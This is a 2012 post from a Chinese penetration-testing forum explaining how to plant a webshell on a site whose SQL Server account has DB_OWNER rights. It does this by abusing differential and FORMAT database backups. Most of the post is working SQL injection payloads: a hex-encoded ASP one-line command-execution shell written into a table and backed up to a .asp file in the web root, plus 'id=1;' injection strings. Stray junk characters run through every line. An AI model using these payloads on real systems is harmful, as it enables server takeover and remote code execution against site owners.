中国网络渗透测试联盟

标题: DB_OWNER权限得到webshell的改进方法 [打印本页]

作者: admin    时间: 2012-12-31 09:57
标题: DB_OWNER权限得到webshell的改进方法
减少备份文件大小,得到可执行的webshell成功率提高不少" M0 @4 S* ?7 h6 i# U  L

" k# j& O3 f9 ]% k4 _一利用差异备份
  u$ A" D- y8 |( X加一个参数WITH DIFFERENTIAL
6 g* B# j: N! C2 t$ j7 X# t: O1 e* q& P6 a3 a: G' c
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s, w) h- `) B# V% C5 [
create table [dbo].[xiaolu] ([cmd] [image]);
5 i+ f- y! {5 [! {+ g, z% [5 [1 ?insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 Y* ?( [% f8 O$ jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL- L! O2 {' i& D. w4 Z9 F9 m# i$ U

' F: d1 @3 R4 V' c0 T二利用完全FORMAT6 Y( C2 q5 H5 O7 w, S( p) b
加一个参数WITH FROMAT
8 h" M: R" q( l$ }有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
$ V" z  y$ q0 _2 f1 q" _; c' j5 Y" r; V* z  p
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  q) D' D8 h& O* m9 ]
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
- p- V7 ^4 R! Rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT- Q* \. i, _: I% N
! X- V  i8 s* [- m
总的来说就是那么简单几句,下面以备份数据库model为例子
; s: j( ]( z7 O" F; Q; p) w4 J+ R3 c( W8 r2 K
id=1;use model create table cmd(str image);insert into cmd(str) values (”)3 S5 H2 B2 O5 D. m# ]2 h6 z

& B: t. R, C" a+ s) |0 vid=1;backup database model to disk=’你的路径‘ with differential,format;–& S- o; C) L- x$ K; |
) t2 J* ]5 y! t: P





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2